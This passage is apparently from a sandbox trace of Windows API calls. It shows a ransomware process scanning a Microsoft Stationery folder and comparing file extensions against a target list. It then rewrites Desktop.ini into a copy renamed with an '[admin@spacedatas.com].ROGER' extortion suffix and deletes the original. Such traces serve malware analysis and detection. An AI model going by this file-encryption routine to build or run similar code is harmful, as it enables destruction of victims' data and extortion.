(normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.763] lstrlenW (lpString=".doc") returned 4 [0046.763] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0046.763] lstrlenW (lpString=".docx") returned 5 [0046.763] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0046.763] lstrlenW (lpString=".pdf") returned 4 [0046.763] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0046.763] lstrlenW (lpString=".xls") returned 4 [0046.763] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0046.763] lstrlenW (lpString=".xlsx") returned 5 [0046.763] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0046.763] lstrlenW (lpString=".ppt") returned 4 [0046.763] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0046.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString=".zip") returned 4 [0046.764] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString=".rar") returned 4 [0046.764] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString=".bz2") returned 4 [0046.764] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0046.764] lstrlenW (lpString=".7z") returned 3 [0046.764] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString=".dbf") returned 4 [0046.764] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString=".1cd") returned 4 [0046.764] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString=".jpg") returned 4 [0046.764] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.764] lstrlenW (lpString=".doc") returned 4 [0046.764] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0046.764] lstrlenW (lpString=".docx") returned 5 [0046.764] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0046.764] lstrlenW (lpString=".pdf") returned 4 [0046.764] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString=".xls") returned 4 [0046.764] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString=".xlsx") returned 5 [0046.764] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0046.764] lstrlenW (lpString=".ppt") returned 4 [0046.764] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.765] lstrlenW (lpString=".zip") returned 4 [0046.765] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0046.765] lstrlenW (lpString=".rar") returned 4 [0046.765] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0046.765] lstrlenW (lpString=".bz2") returned 4 [0046.765] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0046.765] lstrlenW (lpString=".7z") returned 3 [0046.765] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.765] lstrlenW (lpString=".dbf") returned 4 [0046.765] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.765] lstrlenW (lpString=".1cd") returned 4 [0046.765] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0046.765] lstrlenW (lpString=".jpg") returned 4 [0046.765] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0046.765] lstrcmpiW (lpString1=".gif", lpString2=".ROGER") returned -1 [0046.765] lstrlenW (lpString="Connectivity.gif") returned 16 [0046.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.765] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2319) returned 1 [0046.766] CloseHandle (hObject=0x3a0) returned 1 [0046.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0046.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.766] lstrlenW (lpString=".doc") returned 4 [0046.766] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0046.766] lstrlenW (lpString=".docx") returned 5 [0046.766] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0046.766] lstrlenW (lpString=".pdf") returned 4 [0046.766] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0046.766] lstrlenW (lpString=".xls") returned 4 [0046.766] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0046.766] lstrlenW (lpString=".xlsx") returned 5 [0046.766] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0046.766] lstrlenW (lpString=".ppt") returned 4 [0046.766] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.766] lstrlenW (lpString=".zip") returned 4 [0046.766] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0046.766] lstrlenW (lpString=".rar") returned 4 [0046.766] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0046.766] lstrlenW (lpString=".bz2") returned 4 [0046.766] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0046.766] lstrlenW (lpString=".7z") returned 3 [0046.766] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.766] lstrlenW (lpString=".dbf") returned 4 [0046.767] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString=".1cd") returned 4 [0046.767] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString=".jpg") returned 4 [0046.767] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString=".doc") returned 4 [0046.767] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0046.767] lstrlenW (lpString=".docx") returned 5 [0046.767] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0046.767] lstrlenW (lpString=".pdf") returned 4 [0046.767] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString=".xls") returned 4 [0046.767] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString=".xlsx") returned 5 [0046.767] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0046.767] lstrlenW (lpString=".ppt") returned 4 [0046.767] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString=".zip") returned 4 [0046.767] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString=".rar") returned 4 [0046.767] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0046.767] lstrlenW (lpString=".bz2") returned 4 [0046.767] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0046.767] lstrlenW (lpString=".7z") returned 3 [0046.767] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0046.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.767] lstrlenW (lpString=".dbf") returned 4 [0046.768] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.768] lstrlenW (lpString=".1cd") returned 4 [0046.768] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0046.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0046.768] lstrlenW (lpString=".jpg") returned 4 [0046.768] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0046.768] lstrcmpiW (lpString1=".ini", lpString2=".ROGER") returned -1 [0046.768] lstrlenW (lpString="Desktop.ini") returned 11 [0046.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.768] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=645) returned 1 [0046.768] CloseHandle (hObject=0x3a0) returned 1 [0046.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0046.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.768] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.769] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0046.769] GetLastError () returned 0x0 [0046.769] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x285, lpOverlapped=0x0) returned 1 [0046.770] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x290, lpOverlapped=0x0) returned 1 [0046.771] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.771] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.771] SetEndOfFile (hFile=0x3d8) returned 1 [0046.771] CloseHandle (hObject=0x3d8) returned 1 [0046.771] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.771] SetEndOfFile (hFile=0x3a0) returned 1 [0046.772] CloseHandle (hObject=0x3a0) returned 1 [0046.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x26) returned 1 [0046.772] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0046.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.773] lstrlenW (lpString=".doc") returned 4 [0046.773] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.773] lstrlenW (lpString=".docx") returned 5 [0046.773] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.773] lstrlenW (lpString=".pdf") returned 4 [0046.773] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.773] lstrlenW (lpString=".xls") returned 4 [0046.773] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.773] lstrlenW (lpString=".xlsx") returned 5 [0046.773] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.773] lstrlenW (lpString=".ppt") returned 4 [0046.773] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.773] lstrlenW (lpString=".zip") returned 4 [0046.773] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.773] lstrlenW (lpString=".rar") returned 4 [0046.773] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.773] lstrlenW (lpString=".bz2") returned 4 [0046.773] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.773] lstrlenW (lpString=".7z") returned 3 [0046.773] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.773] lstrlenW (lpString=".dbf") returned 4 [0046.773] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.773] lstrlenW (lpString=".1cd") returned 4 [0046.773] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString=".jpg") returned 4 [0046.774] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString=".doc") returned 4 [0046.774] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.774] lstrlenW (lpString=".docx") returned 5 [0046.774] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.774] lstrlenW (lpString=".pdf") returned 4 [0046.774] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString=".xls") returned 4 [0046.774] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString=".xlsx") returned 5 [0046.774] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.774] lstrlenW (lpString=".ppt") returned 4 [0046.774] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString=".zip") returned 4 [0046.774] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString=".rar") returned 4 [0046.774] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.774] lstrlenW (lpString=".bz2") returned 4 [0046.774] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.774] lstrlenW (lpString=".7z") returned 3 [0046.774] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString=".dbf") returned 4 [0046.774] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.774] lstrlenW (lpString=".1cd") returned 4 [0046.774] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0046.775] lstrlenW (lpString=".jpg") returned 4 [0046.775] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.775] lstrcmpiW (lpString1=".emf", lpString2=".ROGER") returned -1 [0046.775] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0046.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.775] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3792) returned 1 [0046.775] CloseHandle (hObject=0x3a0) returned 1 [0046.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0046.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.775] lstrlenW (lpString=".doc") returned 4 [0046.775] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.776] lstrlenW (lpString=".docx") returned 5 [0046.776] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0046.776] lstrlenW (lpString=".pdf") returned 4 [0046.776] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString=".xls") returned 4 [0046.776] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString=".xlsx") returned 5 [0046.776] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0046.776] lstrlenW (lpString=".ppt") returned 4 [0046.776] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString=".zip") returned 4 [0046.776] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString=".rar") returned 4 [0046.776] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString=".bz2") returned 4 [0046.776] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.776] lstrlenW (lpString=".7z") returned 3 [0046.776] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString=".dbf") returned 4 [0046.776] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString=".1cd") returned 4 [0046.776] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString=".jpg") returned 4 [0046.776] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.776] lstrlenW (lpString=".doc") returned 4 [0046.777] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.777] lstrlenW (lpString=".docx") returned 5 [0046.777] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0046.777] lstrlenW (lpString=".pdf") returned 4 [0046.777] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.777] lstrlenW (lpString=".xls") returned 4 [0046.777] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.777] lstrlenW (lpString=".xlsx") returned 5 [0046.777] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0046.777] lstrlenW (lpString=".ppt") returned 4 [0046.777] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.777] lstrlenW (lpString=".zip") returned 4 [0046.777] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.777] lstrlenW (lpString=".rar") returned 4 [0046.777] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.777] lstrlenW (lpString=".bz2") returned 4 [0046.777] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.777] lstrlenW (lpString=".7z") returned 3 [0046.777] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.777] lstrlenW (lpString=".dbf") returned 4 [0046.777] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.777] lstrlenW (lpString=".1cd") returned 4 [0046.777] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0046.777] lstrlenW (lpString=".jpg") returned 4 [0046.777] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.777] lstrcmpiW (lpString1=".htm", lpString2=".ROGER") returned -1 [0046.778] lstrlenW (lpString="Garden.htm") returned 10 [0046.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.778] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=231) returned 1 [0046.778] CloseHandle (hObject=0x3a0) returned 1 [0046.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0046.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString=".doc") returned 4 [0046.782] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0046.782] lstrlenW (lpString=".docx") returned 